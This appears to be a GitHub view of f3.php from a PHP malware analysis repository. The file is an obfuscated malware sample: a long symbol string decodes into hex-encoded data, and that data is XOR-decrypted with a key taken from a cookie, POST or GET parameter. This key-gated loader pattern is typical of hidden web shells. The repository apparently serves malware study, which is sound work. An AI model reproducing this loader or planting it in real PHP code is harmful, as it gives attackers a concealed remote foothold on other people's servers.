php-malware-analysis/syslib.php/f3.php at master · bediger4000/php-malware-analysis · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
for ($o = 0, $e = '&\'()*+,-.:]^_`{|+:*+,+)-&|(|*)&\'\'|-((]\')(&\'{(|)^*^))+-&&&()))^&,),\':*&)|&`,`\'-)(&((\'(]&|(-*(,{&:).&&,*(*({&&-&*)(.*{\'+\'+(*&]-`)^({,|-|*{\'^){\'{&,)*&,-:)`(&\'^\'_)+&+(^\'.&++&,\',:(((*&\'&`+--+*{&(&()|\'+,:(((*&\'&`)+&+(^\'.&++&,\',:)+({&,,**_--((\'{&()^\']-\')-)|&`&|(^&\'):-\'(^,\',]\':\',&()--:\'`)]\'{((-,&{)-**\'`\':+.)|\'|)`&:){)|&*(^\',&])*),)&&|-^*{(--|\'&&++{\'-&]),)_\'.-^*`&(&()|\'+\':*)*+,)-:+|,)+],]-\'*+,\'+^+^+&\'()`&)),*(,),`\',*|\':+`&.)])_&:).*]())&*^)(+)+(&.)))-*]),\'((|)+,\'(\'+)\'*&()_)_*(-*&((^(+)*)++-&\'\'.(,)\'\'.(,*`,,\',&`)&+.\'\'\'|)^),&*&_&|)()|\'.)\'*++]*_(().\':(&\'{(((*\'{,(\'|+^+&+.)`&|)+&)(*))*),(+{\')\'.&`(]\')(&\'{(|)^*_,:-,\'*\'{)_)]\'{)]&+(*&:&{)`+|&\'\'|(\'-\'*`(&\')):((&{(.\'\'+^*(,:+)&{),&_()).&{,`\'\'\']&](\'&,\':)^&|(,)])*(&*{\'-&.-+-+(])+\'|(*)+\'|(_+:\'_)*)-(\'&)(&\'{):-{*_),+{\'-&-){&,&|(^&|(:-\'*(,_&`-.&|)-)|&))`&|,(-\'&)(**+(`\'^)`(:&|)`*`,,\',&`)&+.\'\'\'|)^),&*&_&|)()|\'.)\'*++]*_((),\']),&*,`-|*(-{)_\',&{)*)&&*),*(,`){&]),,:&(\':)`)])+)_\'](|).*_,:-,\'*\'{)_)]\'{)]&+(*&:&{)`+|&\'\'|(\'-\'*`()\'.(+)+)*(]*,\'-&+-+-&*),.,&({))&`(_+.\'-*)-+)\'&^(&)+(|({&{(,\'\'+{(^)*(_&*)&\'{()):&+\']+)&]&((\'(`\':-^*`(|({&{(,\'\'+^*(,:+)&{),&_()).&{,`\'\'\'\'&])_&,&|(^&|(:-\'*-,`+{\')\'.&`(:&^(&\':){){\':)&*]&{&)))(])+(&\')):((&{(.*]&{&)))(])+(&&((|)]&-\']+)&]&{)\'(+\',)^&^):&:\'^(]*,\'-&+({(+&()(\':\'+(,\':(]++(`&*(()_&*(|\',(()-\'.\']+)&]&{)\'-&*),.,&())&*),*++\')&+&`)_\'(),&:,)(`\')\']+(\'^&{-]-{&:)(&*,]).&*)\'\',\'-\'))-)]+&-)&*(+-,&`)&+.\'\'\'|)^),&*(&*](^(&&](_+]\')&:){)_*`-]+\')-+_**,]++\']&{)\')(*])]&_,](\'&{,+++\')&+-()]&+)`&_())\',\'(\'+)\'*&()_)_*(-*&((^(+)*(_+.\'^)*)+)_\'{-**,&])&\'{(^++&,&()`)-)+),\'(()(+\'|),\'{++&()_)&)+)*&|){-\'*(,_&`-.&|)-)|&))`&|,(-\'&)(**+(`&()_)&)+)*&|){&:&](:+]++*-\'()|\'|)`&:){)|&*(^,:\'-\'))^(]\'{(&*(,`)|&+(_,:\'+&{(,&,&^)|&,,`-|*(-{)_\',&{)*)&&*),*(,`)+&](^,:\'\'&*)_)|&))**`,,-{&)(**+(`&()_)&)+)*&|){(]\'-(`+-&\')*)^)-&)&_&`(|(()*(*+]\'{*(-^,(,&)]&_,(--&.(*+.(`&.)`)-&_)]&`,)(`\')\']+(\'^&{-]-{&:)(&*,]).&*)\'\',\'\'&*)_)|&))**`,),`\',*|\':+`&_)-(`*])&&+(*)&&(((\',&*&]){(_&|+:&_)|).&.)\'+|\'`&+-((\')+)]&*()&:&_(&*(+]*|)_-&\'\')]&_,(){&]),,:\'^&+)^&,&`),\'{,)(`\':(&*(&-\':)_-\'(])]&*()&:&_(&*(+]*|)_-&*),.\'-(|)]\'.(&+|\'**))]).\':&_&)(*)|)*((+)&,)*)))+&,-]\'\',{){+,&++|\'_&(&`){&|(-)+(^)]&-,`\'|*:\':)-(`\'|(\'&*,(-(&)\'{\'(\'_),&:-{&,)_&:(^)])*))+-\'{\'{)--{)--]+\')-(^,\',]\':+(&.)])_&:).*]):)-&`(&\',\'|&*),)_,&)]&_,(({)*(_+.\'^)*)+)_\'{-^*`):)-&`(&,:\'|&*),)_*`-]*))\'({)*(\'+|\'-*)-+)]&^)`*](*):\'|,++)&]&{)\',)*](&&^(_))*^(.+:\',&{-().&:(-&))_))*_,_&`&|,\'-`-,\':){&^).((*^(&*{\'-&.-()\'&|)|\'](|(*\'.*|+&&-&+)\'(`&))_&*,]({)*)++-&\'\'.(,)\'\'.(,*(,{)+*(){-,&(&](\'(]\'{)^\'.)|-{*|(,\'|*:\',+.)|\'|)`&:){)|&*(^\',&])*(\'(&\':(-&|(--{*|(,\'|&:(^(\'(&\':(-&|(--{*|(,\'|*:\',+.)|\'|)`&:){)|&*(^\',&])*(\')\'&|)|&,\'+))\')(&+++]*|)\'-&\'\'),&:(():*^&+*+\']&{){)+)+),\'((|)+*),\'+++^+&(|+)&_(,&*(:((&((]+.+(\')&`(:&+()&|(*-{*|(,\'|&:*|)`,(&))+*(,(-(&`-.-,&(&*(()_&*-^*{(:-]*_)-\'\'+^*(-^((\'`)^&)(,))*),*-,\'*&{)`)|*(--&_,)-|\'&,\'+:+_+,\'()|&`),\'{):-{*|()\'|*:\',\'((:&:)|&+):))*),\'+&+^+&(|)_&:)^&+,]-(&*-{*^-.&`(-)-&:(-&)(+).*^)`,:&(\':)`)])+)_\'](|).*),\'+++^\'&-,),+\')]&_,(\',&(),,:&&&{(\'),\'|(\'&:(|-{*|)+&^)(\'^(&),&:&_&+)]))&+,`\'(\'\'*-))(^\'.)(\'),(,,+,-^+-&&\':))(&*(-*\']()(,&{,(\']++\':-+-&*,,(+--*)-\':)-+-&^*)-+(:&)()&|,`-]*_)(\'\'+^*-,&,*+*)(\'.).)-\'(,`\'\'&(&((()_*`-|*`)`-\'*(,_\']+,&`-^-&*)(.(](_)+&-(]*+\'-*)-,)|)\',))-,),`\'_(`+|\'{&{-]-.(])+&|(+)&*),\'+&(:+]&|-&*)(.*{(+-.+,&++&\'+&{(,(]*(--&_\'\',-),,_&`&|(^)*)]&,)_\':(|-{*|(),`*)),-^,((]()\'.(+)+)*(,+]\'`\'.)--\'*{()*)-\'(^&{(,+{\'`*^-,),+\'({,&(_()&+(,*(\'^&*)_-:\'(&_&|)())&.,`\'(\'\'*((:-`&+,.(](|({&{(,\'{+,&.-{-`&+-]+\'(|)+&)(]\',)(&()|(:&,)_&{(|-{*:\':+.+&*--,),*),.\'-*&-:**(\'+:+(\'.)|).\'.(-*](_))\'|(,+{-.&`(-)-&:(-&)(+).*^)`,:&\'\'{(()_\'.)+&|){)+&),`\'(\')*--,(:*,--\'.,,-(&-,_)_&:,\'+^)&&_-^*{):,^(^()*+\'`&.):),\']),&*,(-(&],:\'(&(*(-^+),)(.,&*)+|&(()\'{+,&`,|\':&_)_\'](|).*),\'+]+{*:(+)^*.-]*)*&+|,(){)_-^,(+^\':&_(*\'.()((&{,`\'(&\'*--&\'{(|&-*],.-.*|)-\'.+&*^\']&`){&)*+-^-.+^\':**({&+&{(^),)`*.,),`,\'*_)|-^\'_)])&&,),*(,^\',&`(&+:\'**)-,(]*)-],&*)+|,(){)_-^,(+^+&*{)\'+-&])&\':(&+-\',*)-,(]*,,^+^-),**(-{)_-^,(+^+&(])+\'`).)|\'|(&\'{+,&`-{-`&.-]+\'*&+|,(*_*^-.,(+^+&(])+&:(,):\'.(&\'{+,&`-^,(,&+],)*)))&.(`+:+(*:\'`\'(),)`*.-\'+_,(*_*^-.,(+^\':&_)&&,(+(+&{,`\'(&\'*(,:+),)({,&)-+_**,]+(\'`*^(\')*&^(\'\'{,]))\')(&++-.&`(-)-&:(-&)(+).*^)`,:&\'&,))(^\'{&_&|)())&.,`\'(\'\'*(+.((,&+]&)(_-{*|(,&^*|+,-&({&()]&:((-,\'.)&*,\'-\':)*)_\'{)&&(,],-++,+\':\',&{(*-,&*(,&,(,-,+:-^\',+`&|)-(|*+)`\'|(,)]*^,)\'&+(&{)\')\'&+-)(+&\'-**(*|)|&:,\'+^+&&|)&&((+-,*:&]-`({&+-&,(,&+]\'-*&+|&{(:*+\'-&()*-\'(](&\'{).(+\'|)-\'{+,&.-{-^\':(,\'](|(*&`(&*(\'\'&)-&-&*)+:,))\'+_,(*_\'(\')+,\'()_\'(()&,(+)(&{,`\'\'+(*_-{-`&:-]+\'*&+|,()`,:&\'\'{(()_\'.)+&|){)+&),`\'(\'))&,)&**,--&^\'\',*),,:\'(\'))&,\'&**,--&^\'\',(),,_&`-.,((|+),)),&,):))&(()\'{\']&](\'&,\'])(\':):((&))-*)+^\'&(]&,\'])(\':):((&))-*)+]*|)\'-&+\'({,&*)))&-),+)\'^&`-])\'&^(&)+):(|\'.)\'+)\'|*((:(\')+(&\')):((&{(.\'{+,&.-^,(\'-+:,)(|)]\'.(&+|\'**))]).\':&_\':(())&-(:,:\'-\'))-)]*)(.\'(\'+(+&)(&+]\'{)*)-(\'&|)&*(,{)+*(-{*^-.,()-)+\':),&)(_-{&)(**+(`\'^)`(:&|)`*))\'({)*)++:&(&{)_-\'*{)&*)-\'(^,\'*_+)\'{\'.)-)&&_-^&((^(+)*)+**\'`&.&`),\']),&*,)(`\')\']*,&&&*)\'&,&+()&|(*-{*|(,\'|*:\',+.+&&|)|\':(|)|&`,`+{\')\'.&`)_\'(),&:,)(`\')\']+)&]&{)\'-\'*{)&*)-\'(^,\').)_+`**)+),,&--&*---\').(|-_(*&&\'-,|\'.).).\'))_*_-{)_+,&.,|-`)+\'&(+&+\'`((&&,`+,&+&|,(,&)]&_,(\',&{(.*,&,\'(-]-`&:-]*))\'-(&.-.\'((`)^\'`&]){&.*{(*&^+&).)_\'^&`-]\':&|){\']){(|*),\'+++^*((:-`&:,{*{\'+\'\'({\'\',`+,&+&|,(\'-+:&)(_-{(^((+)&,)*)|).&`)]&:\'+(-\'{(]*(\'-\'.&`){\'])&*(,)-|\'&,\'++*|\'.(,(^&)()\':(,)-\'.(`+)&\'*)-,)]*),.\'-*&({)*),+^\')\':(,&,&|(^&|(:-{*|(,\'|*:,\'', $d = ''; @ord($e[$o]); $o++) {
    if ($o < 16) {
        $h[$e[$o]] = $o;
    } else {
        $d .= @chr(($h[$e[$o]] << 4) + $h[$e[++$o]]);
    }
}
if (!@isset($_SERVER)) {
    $_COOKIE =& $HTTP_COOKIE_VARS;
    $_POST =& $HTTP_POST_VARS;
    $_GET =& $HTTP_GET_VARS;
}
$k = $_COOKIE['key'];
if (empty($k)) {
    $k = $_POST['key'];
}
if (empty($k)) {
    $k = $_GET['key'];
}
function decrypt($e, $k)
{
    if (!$k) {
        return;
    }
    $el = @strlen($e);
    $kl = @strlen($k);
    $rl = $el % $kl;
    $fl = $el - $rl;
    for ($o = 0; $o < $fl; $o += $kl) {
        $p = @substr($e, $o, $kl);
        $d .= "{$k}" ^ "{$p}";
    }
    if ($rl) {
        $p = @substr($e, $fl, $rl);
        $k = @substr($k, 0, $rl);
        $d .= "{$k}" ^ "{$p}";
    }
    return $d;
}
$d = @decrypt($d, $k);
print $d;